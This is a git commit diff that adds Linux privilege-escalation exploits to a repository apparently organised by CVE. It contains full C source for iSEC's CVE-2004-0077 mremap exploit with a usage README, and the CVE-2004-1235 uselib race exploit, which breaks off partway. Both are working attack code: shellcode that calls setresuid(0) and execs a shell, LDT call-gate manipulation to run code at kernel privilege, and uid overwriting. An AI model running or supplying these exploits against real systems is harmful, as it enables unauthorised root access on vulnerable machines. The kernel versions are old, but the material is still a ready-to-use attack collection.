add Linux 提权
This commit is contained in:
parent
ee00db5c46
commit
7ca52f7cb9
300
98-Linux提权/2004/CVE-2004-0077/160.c
Normal file
300
98-Linux提权/2004/CVE-2004-0077/160.c
Normal file
@ -0,0 +1,300 @@
|
||||
/*
|
||||
*
|
||||
* mremap missing do_munmap return check kernel exploit
|
||||
*
|
||||
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
|
||||
* ./mremap_pte [suid] [[shell]]
|
||||
*
|
||||
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
|
||||
*
|
||||
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
||||
*
|
||||
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
||||
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
||||
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <syscall.h>
|
||||
#include <signal.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
|
||||
|
||||
#define str(s) #s
|
||||
#define xstr(s) str(s)
|
||||
|
||||
// this is for standard kernels with 3/1 split
|
||||
#define STARTADDR 0x40000000
|
||||
#define PGD_SIZE (PAGE_SIZE * 1024)
|
||||
#define VICTIM (STARTADDR + PGD_SIZE)
|
||||
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
|
||||
|
||||
#define DSIGNAL SIGCHLD
|
||||
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
|
||||
|
||||
#define MREMAP_MAYMOVE ( (1UL) << 0 )
|
||||
#define MREMAP_FIXED ( (1UL) << 1 )
|
||||
|
||||
#define __NR_sys_mremap __NR_mremap
|
||||
|
||||
|
||||
// how many ld.so pages? this is the .text section length (like cat
|
||||
// /proc/self/maps) in pages
|
||||
#define LINKERPAGES 0x14
|
||||
|
||||
// suid victim
|
||||
static char *suid="/bin/ping";
|
||||
|
||||
// shell to start
|
||||
static char *launch="/bin/bash";
|
||||
|
||||
|
||||
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
|
||||
ulong, e);
|
||||
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
|
||||
unsigned long new_len, unsigned long flags,
|
||||
unsigned long new_addr);
|
||||
|
||||
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
|
||||
static int i, pid=0;
|
||||
static char *env[2], *argv[2];
|
||||
static ulong ret;
|
||||
|
||||
|
||||
// code to appear inside the suid image
|
||||
static void suid_code(void)
|
||||
{
|
||||
__asm__(
|
||||
" call callme \n"
|
||||
|
||||
// setresuid(0, 0, 0), setresgid(0, 0, 0)
|
||||
"jumpme: xorl %ebx, %ebx \n"
|
||||
" xorl %ecx, %ecx \n"
|
||||
" xorl %edx, %edx \n"
|
||||
" xorl %eax, %eax \n"
|
||||
" mov $"xstr(__NR_setresuid)", %al \n"
|
||||
" int $0x80 \n"
|
||||
" mov $"xstr(__NR_setresgid)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
// execve(launch)
|
||||
" popl %ebx \n"
|
||||
" andl $0xfffff000, %ebx \n"
|
||||
" xorl %eax, %eax \n"
|
||||
" pushl %eax \n"
|
||||
" movl %esp, %edx \n"
|
||||
" pushl %ebx \n"
|
||||
" movl %esp, %ecx \n"
|
||||
" mov $"xstr(__NR_execve)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
// exit
|
||||
" xorl %eax, %eax \n"
|
||||
" mov $"xstr(__NR_exit)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
"callme: jmp jumpme \n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static int suid_code_end(int v)
|
||||
{
|
||||
return v+1;
|
||||
}
|
||||
|
||||
|
||||
static inline void get_esp(void)
|
||||
{
|
||||
__asm__(
|
||||
" movl %%esp, %%eax \n"
|
||||
" andl $0xfffff000, %%eax \n"
|
||||
" movl %%eax, %0 \n"
|
||||
: : "m"(old_esp)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void cloneme(void)
|
||||
{
|
||||
__asm__(
|
||||
" pusha \n"
|
||||
" movl $("xstr(CLONEFL)"), %%ebx \n"
|
||||
" movl %%esp, %%ecx \n"
|
||||
" movl $"xstr(__NR_clone)", %%eax \n"
|
||||
" int $0x80 \n"
|
||||
" movl %%eax, %0 \n"
|
||||
" popa \n"
|
||||
: : "m"(pid)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void my_execve(void)
|
||||
{
|
||||
__asm__(
|
||||
" movl %1, %%ebx \n"
|
||||
" movl %2, %%ecx \n"
|
||||
" movl %3, %%edx \n"
|
||||
" movl $"xstr(__NR_execve)", %%eax \n"
|
||||
" int $0x80 \n"
|
||||
: "=a"(ret)
|
||||
: "m"(suid), "m"(argv), "m"(env)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void pte_populate(unsigned addr)
|
||||
{
|
||||
unsigned r;
|
||||
char *ptr;
|
||||
|
||||
memset((void*)addr, 0x90, PAGE_SIZE);
|
||||
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
|
||||
ptr = (void*) (addr + PAGE_SIZE);
|
||||
ptr -= r+1;
|
||||
memcpy(ptr, suid_code, r);
|
||||
memcpy((void*)addr, launch, strlen(launch)+1);
|
||||
}
|
||||
|
||||
|
||||
// hit VMA limit & populate PTEs
|
||||
static void exhaust(void)
|
||||
{
|
||||
// mmap PTE donor
|
||||
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED==t)
|
||||
goto failed;
|
||||
|
||||
// prepare shell code pages
|
||||
for(i=2; i<LINKERPAGES+1; i++)
|
||||
pte_populate(victim + PAGE_SIZE*i);
|
||||
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
|
||||
if(i)
|
||||
goto failed;
|
||||
|
||||
// lock unmap
|
||||
base = MMAP_BASE;
|
||||
cnt = 0;
|
||||
prot = PROT_READ;
|
||||
printf("\n"); fflush(stdout);
|
||||
for(;;) {
|
||||
t = mmap((void*)base, PAGE_SIZE, prot,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED==t) {
|
||||
if(ENOMEM==errno)
|
||||
break;
|
||||
else
|
||||
goto failed;
|
||||
}
|
||||
if( !(cnt%512) || cnt>65520 )
|
||||
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
|
||||
base+PAGE_SIZE); fflush(stdout);
|
||||
base += PAGE_SIZE;
|
||||
prot ^= PROT_EXEC;
|
||||
cnt++;
|
||||
}
|
||||
|
||||
// move PTEs & populate page table cache
|
||||
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
|
||||
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
|
||||
if(-1==ret)
|
||||
goto failed;
|
||||
|
||||
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
|
||||
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
|
||||
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
|
||||
0);
|
||||
if(MAP_FAILED==t)
|
||||
goto failed;
|
||||
|
||||
*t = *((unsigned *)old_esp);
|
||||
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
|
||||
printf("\n[+] Success\n\n"); fflush(stdout);
|
||||
return;
|
||||
|
||||
failed:
|
||||
printf("\n[-] Failed\n"); fflush(stdout);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
|
||||
static inline void check_kver(void)
|
||||
{
|
||||
static struct utsname un;
|
||||
int a=0, b=0, c=0, v=0, e=0, n;
|
||||
|
||||
uname(&un);
|
||||
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
|
||||
if(n!=3 || a!=2) {
|
||||
printf("\n[-] invalid kernel version string\n");
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
if(b==2) {
|
||||
if(c<=25)
|
||||
v=1;
|
||||
}
|
||||
else if(b==3) {
|
||||
if(c<=99)
|
||||
v=1;
|
||||
}
|
||||
else if(b==4) {
|
||||
if(c>18 && c<=24)
|
||||
v=1, e=1;
|
||||
else if(c>24)
|
||||
v=0, e=0;
|
||||
else
|
||||
v=1, e=0;
|
||||
}
|
||||
else if(b==5 && c<=75)
|
||||
v=1, e=1;
|
||||
else if(b==6 && c<=2)
|
||||
v=1, e=1;
|
||||
|
||||
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
|
||||
un.release, v? "YES" : "NO", e? "YES" : "NO" );
|
||||
fflush(stdout);
|
||||
|
||||
if(v && e)
|
||||
return;
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
// prepare
|
||||
check_kver();
|
||||
memset(env, 0, sizeof(env));
|
||||
memset(argv, 0, sizeof(argv));
|
||||
if(ac>1) suid=av[1];
|
||||
if(ac>2) launch=av[2];
|
||||
argv[0] = suid;
|
||||
get_esp();
|
||||
|
||||
// mmap & clone & execve
|
||||
exhaust();
|
||||
cloneme();
|
||||
if(!pid) {
|
||||
my_execve();
|
||||
} else {
|
||||
waitpid(pid, 0, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2004-03-01]
|
19
98-Linux提权/2004/CVE-2004-0077/README.md
Normal file
19
98-Linux提权/2004/CVE-2004-0077/README.md
Normal file
@ -0,0 +1,19 @@
|
||||
# CVE-2004-0077
|
||||
|
||||
CVE-2004-0077
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2004-0077](http://www.exploit-db.com/exploits/160/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
|
||||
./mremap_pte [suid] [[shell]]
|
||||
```
|
||||
|
||||
|
912
98-Linux提权/2004/CVE-2004-1235/744.c
Normal file
912
98-Linux提权/2004/CVE-2004-1235/744.c
Normal file
@ -0,0 +1,912 @@
|
||||
/*
|
||||
* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
|
||||
*/
|
||||
|
||||
/*
|
||||
* binfmt_elf uselib VMA insert race vulnerability
|
||||
* v1.08
|
||||
*
|
||||
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
|
||||
*
|
||||
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
||||
*
|
||||
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
||||
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
||||
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <syscall.h>
|
||||
#include <limits.h>
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/sysinfo.h>
|
||||
|
||||
#include <linux/elf.h>
|
||||
#include <linux/linkage.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
#include <asm/ldt.h>
|
||||
#include <asm/segment.h>
|
||||
|
||||
#define str(s) #s
|
||||
#define xstr(s) str(s)
|
||||
|
||||
#define MREMAP_MAYMOVE 1
|
||||
|
||||
|
||||
// temp lib location
|
||||
#define LIBNAME "/dev/shm/_elf_lib"
|
||||
|
||||
// shell name
|
||||
#define SHELL "/bin/bash"
|
||||
|
||||
// time delta to detect race
|
||||
#define RACEDELTA 5000
|
||||
|
||||
// if you have more deadbabes in memory, change this
|
||||
#define MAGIC 0xdeadbabe
|
||||
|
||||
|
||||
// do not touch
|
||||
#define SLAB_THRSH 128
|
||||
#define SLAB_PER_CHLD (INT_MAX - 1)
|
||||
#define LIB_SIZE ( PAGE_SIZE * 4 )
|
||||
#define STACK_SIZE ( PAGE_SIZE * 4 )
|
||||
|
||||
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
|
||||
|
||||
#define ENTRY_GATE ( LDT_ENTRIES-1 )
|
||||
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
|
||||
|
||||
#define ENTRY_LCS ( ENTRY_GATE-2 )
|
||||
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
|
||||
|
||||
#define ENTRY_LDS ( ENTRY_GATE-1 )
|
||||
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
|
||||
|
||||
#define kB * 1024
|
||||
#define MB * 1024 kB
|
||||
#define GB * 1024 MB
|
||||
|
||||
#define TMPLEN 256
|
||||
#define PGD_SIZE ( PAGE_SIZE*1024 )
|
||||
|
||||
|
||||
extern char **environ;
|
||||
|
||||
static char cstack[STACK_SIZE];
|
||||
static char name[TMPLEN];
|
||||
static char line[TMPLEN];
|
||||
|
||||
|
||||
static volatile int
|
||||
val = 0,
|
||||
go = 0,
|
||||
finish = 0,
|
||||
scnt = 0,
|
||||
ccnt=0,
|
||||
delta = 0,
|
||||
delta_max = RACEDELTA,
|
||||
map_flags = PROT_WRITE|PROT_READ;
|
||||
|
||||
|
||||
static int
|
||||
fstop=0,
|
||||
silent=0,
|
||||
pidx,
|
||||
pnum=0,
|
||||
smp_max=0,
|
||||
smp,
|
||||
wtime=2,
|
||||
cpid,
|
||||
uid,
|
||||
task_size,
|
||||
old_esp,
|
||||
lib_addr,
|
||||
map_count=0,
|
||||
map_base=0,
|
||||
map_addr,
|
||||
addr_min,
|
||||
addr_max,
|
||||
vma_start,
|
||||
vma_end,
|
||||
max_page;
|
||||
|
||||
|
||||
static struct timeval tm1, tm2;
|
||||
|
||||
static char *myenv[] = {"TERM=vt100",
|
||||
"HISTFILE=/dev/null",
|
||||
NULL};
|
||||
|
||||
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
|
||||
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
|
||||
|
||||
|
||||
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
|
||||
|
||||
|
||||
|
||||
#define __NR_sys_gettimeofday __NR_gettimeofday
|
||||
#define __NR_sys_sched_yield __NR_sched_yield
|
||||
#define __NR_sys_madvise __NR_madvise
|
||||
#define __NR_sys_uselib __NR_uselib
|
||||
#define __NR_sys_mmap2 __NR_mmap2
|
||||
#define __NR_sys_munmap __NR_munmap
|
||||
#define __NR_sys_mprotect __NR_mprotect
|
||||
#define __NR_sys_mremap __NR_mremap
|
||||
|
||||
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
|
||||
|
||||
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
|
||||
|
||||
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
|
||||
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
|
||||
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
|
||||
|
||||
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
|
||||
inline _syscall2(int, sys_munmap, int, a, int, b);
|
||||
|
||||
inline _syscall1(int, sys_uselib, char*, l);
|
||||
|
||||
inline _syscall0(void, sys_sched_yield);
|
||||
|
||||
|
||||
|
||||
inline int tmdiff(struct timeval *t1, struct timeval *t2)
|
||||
{
|
||||
int r;
|
||||
|
||||
r=t2->tv_sec - t1->tv_sec;
|
||||
r*=1000000;
|
||||
r+=t2->tv_usec - t1->tv_usec;
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
void fatal(const char *message, int critical)
|
||||
{
|
||||
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
|
||||
|
||||
if(!errno) {
|
||||
fprintf(stdout, "\n[-] FAILED: %s ", message);
|
||||
} else {
|
||||
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
|
||||
(char*) (strerror(errno)) );
|
||||
}
|
||||
if(critical)
|
||||
printf("\nCRITICAL, entering endless loop");
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
unlink(libname);
|
||||
kill(cpid, SIGKILL);
|
||||
for(;;) kill(0, sig);
|
||||
}
|
||||
|
||||
|
||||
// try to race do_brk sleeping on kmalloc, may need modification for SMP
|
||||
int raceme(void* v)
|
||||
{
|
||||
finish=1;
|
||||
|
||||
for(;;) {
|
||||
errno = 0;
|
||||
|
||||
// check if raced:
|
||||
recheck:
|
||||
if(!go) sys_sched_yield();
|
||||
sys_gettimeofday(&tm2, NULL);
|
||||
delta = tmdiff(&tm1, &tm2);
|
||||
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
|
||||
smp = smp_max;
|
||||
|
||||
// check if lib VMAs exist as expected under race condition
|
||||
recheck2:
|
||||
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
|
||||
if(val) continue;
|
||||
errno = 0;
|
||||
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
|
||||
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
||||
if( !val || (val<0 && errno!=ENOMEM) ) continue;
|
||||
|
||||
// SMP?
|
||||
smp--;
|
||||
if(smp>=0) goto recheck2;
|
||||
|
||||
// recheck race
|
||||
if(!go) continue;
|
||||
finish++;
|
||||
|
||||
// we need to free one vm_area_struct for mmap to work
|
||||
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
|
||||
if(val) fatal("mprotect", 0);
|
||||
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(-1==val) fatal("mmap2 race", 0);
|
||||
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int callme_1()
|
||||
{
|
||||
return val++;
|
||||
}
|
||||
|
||||
|
||||
inline int valid_ptr(unsigned ptr)
|
||||
{
|
||||
return ptr>=task_size && ptr<addr_min-16;
|
||||
}
|
||||
|
||||
|
||||
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
|
||||
{
|
||||
unsigned *t;
|
||||
|
||||
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
|
||||
t=(unsigned*)p[3];
|
||||
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
asmlinkage void kernel_code(unsigned *task)
|
||||
{
|
||||
unsigned *addr = task;
|
||||
|
||||
// find & reset uids
|
||||
while(addr[0] != uid || addr[1] != uid ||
|
||||
addr[2] != uid || addr[3] != uid)
|
||||
addr++;
|
||||
|
||||
addr[0] = addr[0] = addr[2] = addr[3] = 0;
|
||||
addr[4] = addr[5] = addr[6] = addr[7] = 0;
|
||||
|
||||
// find & correct VMA
|
||||
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
|
||||
if( validate_vma(addr, vma_start, vma_end) ) {
|
||||
addr[1] = task_size - PAGE_SIZE;
|
||||
addr[2] = task_size;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void kcode(void);
|
||||
|
||||
|
||||
void __kcode(void)
|
||||
{
|
||||
asm(
|
||||
"kcode: \n"
|
||||
" pusha \n"
|
||||
" pushl %es \n"
|
||||
" pushl %ds \n"
|
||||
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
|
||||
" movl %edx,%es \n"
|
||||
" movl %edx,%ds \n"
|
||||
" movl $0xffffe000,%eax \n"
|
||||
" andl %esp,%eax \n"
|
||||
" pushl %eax \n"
|
||||
" call kernel_code \n"
|
||||
" addl $4, %esp \n"
|
||||
" popl %ds \n"
|
||||
" popl %es \n"
|
||||
" popa \n"
|
||||
" lret \n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
int callme_2()
|
||||
{
|
||||
return val + task_size + addr_min;
|
||||
}
|
||||
|
||||
|
||||
void sigfailed(int v)
|
||||
{
|
||||
ccnt++;
|
||||
fatal("lcall", 1);
|
||||
}
|
||||
|
||||
|
||||
// modify LDT & exec
|
||||
void try_to_exploit(unsigned addr)
|
||||
{
|
||||
volatile int r, *v;
|
||||
|
||||
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
|
||||
unlink(libname);
|
||||
|
||||
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
|
||||
if(r) fatal("mprotect 1", 1);
|
||||
|
||||
// check if really LDT
|
||||
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
signal(SIGSEGV, sigfailed);
|
||||
r = *v;
|
||||
if(r != MAGIC) {
|
||||
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
|
||||
fatal("find LDT", 1);
|
||||
}
|
||||
|
||||
// yeah, setup CPL0 gate
|
||||
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
|
||||
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
|
||||
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
|
||||
|
||||
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
|
||||
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
|
||||
v[1] = 0x00cf9b00;
|
||||
|
||||
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
|
||||
v[1] = 0x00cf9300;
|
||||
|
||||
// reprotect to get only one big VMA
|
||||
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
|
||||
if(r) fatal("mprotect 2", 1);
|
||||
|
||||
// CPL0 transition
|
||||
sys_sched_yield();
|
||||
val = callme_1() + callme_2();
|
||||
asm("lcall $" xstr(SEL_GATE) ",$0x0");
|
||||
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
|
||||
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
|
||||
} else {
|
||||
printf("\n[-] uid change failed" ); fflush(stdout);
|
||||
sigfailed(0);
|
||||
|
||||
}
|
||||
signal(SIGTERM, SIG_IGN);
|
||||
kill(0, SIGTERM);
|
||||
execl(shellname, "sh", NULL);
|
||||
fatal("execl", 0);
|
||||
}
|
||||
|
||||
|
||||
void scan_mm_finish();
|
||||
void scan_mm_start();
|
||||
|
||||
|
||||
// kernel page table scan code
|
||||
void scan_mm()
|
||||
{
|
||||
map_addr -= PAGE_SIZE;
|
||||
if(map_addr <= (unsigned)addr_min)
|
||||
scan_mm_start();
|
||||
|
||||
scnt=0;
|
||||
val = *(int*)map_addr;
|
||||
scan_mm_finish();
|
||||
}
|
||||
|
||||
|
||||
void scan_mm_finish()
|
||||
{
|
||||
retry:
|
||||
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
||||
|
||||
if(scnt) {
|
||||
pagemap[pidx] ^= 1;
|
||||
}
|
||||
else {
|
||||
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
|
||||
}
|
||||
pidx--;
|
||||
scan_mm();
|
||||
goto retry;
|
||||
}
|
||||
|
||||
|
||||
// make kernel page maps before and after allocating LDT
|
||||
void scan_mm_start()
|
||||
{
|
||||
static int npg=0;
|
||||
static struct modify_ldt_ldt_s l;
|
||||
|
||||
pnum++;
|
||||
if(pnum==1) {
|
||||
pidx = max_page-1;
|
||||
}
|
||||
else if(pnum==2) {
|
||||
memset(&l, 0, sizeof(l));
|
||||
l.entry_number = LDT_ENTRIES-1;
|
||||
l.seg_32bit = 1;
|
||||
l.base_addr = MAGIC >> 16;
|
||||
l.limit = MAGIC & 0xffff;
|
||||
l.limit_in_pages = 1;
|
||||
if( modify_ldt(1, &l, sizeof(l)) != 0 )
|
||||
fatal("modify_ldt", 1);
|
||||
pidx = max_page-1;
|
||||
}
|
||||
else if(pnum==3) {
|
||||
npg=0;
|
||||
for(pidx=0; pidx<=max_page-1; pidx++) {
|
||||
if(pagemap[pidx]) {
|
||||
npg++;
|
||||
fflush(stdout);
|
||||
}
|
||||
else if(npg == LDT_PAGES) {
|
||||
npg=0;
|
||||
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
|
||||
} else {
|
||||
npg=0;
|
||||
}
|
||||
}
|
||||
fatal("find LDT", 1);
|
||||
}
|
||||
|
||||
// save context & scan page table
|
||||
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
||||
map_addr = addr_max;
|
||||
scan_mm();
|
||||
}
|
||||
|
||||
|
||||
// return number of available SLAB objects in cache
|
||||
int get_slab_objs(const char *sn)
|
||||
{
|
||||
static int c, d, u = 0, a = 0;
|
||||
FILE *fp=NULL;
|
||||
|
||||
fp = fopen("/proc/slabinfo", "r");
|
||||
if(!fp)
|
||||
fatal("get_slab_objs: fopen", 0);
|
||||
fgets(name, sizeof(name) - 1, fp);
|
||||
do {
|
||||
c = u = a = -1;
|
||||
if (!fgets(line, sizeof(line) - 1, fp))
|
||||
break;
|
||||
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
|
||||
&d, &d, &d, &d);
|
||||
} while (strcmp(name, sn));
|
||||
close(fileno(fp));
|
||||
fclose(fp);
|
||||
return c == 7 ? a - u : -1;
|
||||
}
|
||||
|
||||
|
||||
// leave one object in the SLAB
|
||||
inline void prepare_slab()
|
||||
{
|
||||
int *r;
|
||||
|
||||
map_addr -= PAGE_SIZE;
|
||||
map_count++;
|
||||
map_flags ^= PROT_READ;
|
||||
|
||||
r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED == r) {
|
||||
fatal("try again", 0);
|
||||
}
|
||||
*r = map_addr;
|
||||
}
|
||||
|
||||
|
||||
// sig handlers
|
||||
void segvcnt(int v)
|
||||
{
|
||||
scnt++;
|
||||
scan_mm_finish();
|
||||
}
|
||||
|
||||
|
||||
// child reap
|
||||
void reaper(int v)
|
||||
{
|
||||
ccnt++;
|
||||
waitpid(0, &v, WNOHANG|WUNTRACED);
|
||||
}
|
||||
|
||||
|
||||
// sometimes I get the VMAs in reversed order...
|
||||
// so just use anyone of the two but take care about the flags
|
||||
void check_vma_flags();
|
||||
|
||||
void vreversed(int v)
|
||||
{
|
||||
map_flags = 0;
|
||||
check_vma_flags();
|
||||
}
|
||||
|
||||
|
||||
void check_vma_flags()
|
||||
{
|
||||
if(map_flags) {
|
||||
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
||||
} else {
|
||||
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
||||
goto out;
|
||||
}
|
||||
signal(SIGSEGV, vreversed);
|
||||
val = * (unsigned*)(lib_addr + PAGE_SIZE);
|
||||
out:
|
||||
}
|
||||
|
||||
|
||||
// use elf library and try to sleep on kmalloc
|
||||
void exploitme()
|
||||
{
|
||||
int r, sz, pcnt=0;
|
||||
static char smiley[]="-\\|/-\\|/";
|
||||
|
||||
// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);
|
||||
|
||||
// helper clone
|
||||
finish=0; ccnt=0;
|
||||
sz = sizeof(cstack) / sizeof(cstack[0]);
|
||||
cpid = clone(&raceme, (void*) &cstack[sz-16],
|
||||
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
|
||||
if(-1==cpid) fatal("clone", 0);
|
||||
|
||||
// synchronize threads
|
||||
while(!finish) sys_sched_yield();
|
||||
finish=0;
|
||||
if(!silent) {
|
||||
printf("\n"); fflush(stdout);
|
||||
}
|
||||
|
||||
// try to hit the kmalloc race
|
||||
for(;;) {
|
||||
|
||||
r = get_slab_objs("vm_area_struct");
|
||||
while(r != 1) {
|
||||
prepare_slab();
|
||||
r--;
|
||||
}
|
||||
|
||||
sys_gettimeofday(&tm1, NULL);
|
||||
go = 1;
|
||||
r=sys_uselib(libname);
|
||||
go = 0;
|
||||
if(r) fatal("uselib", 0);
|
||||
if(finish) break;
|
||||
|
||||
// wipe lib VMAs and try again
|
||||
r = sys_munmap(lib_addr, LIB_SIZE);
|
||||
if(r) fatal("munmap lib", 0);
|
||||
if(ccnt) goto failed;
|
||||
|
||||
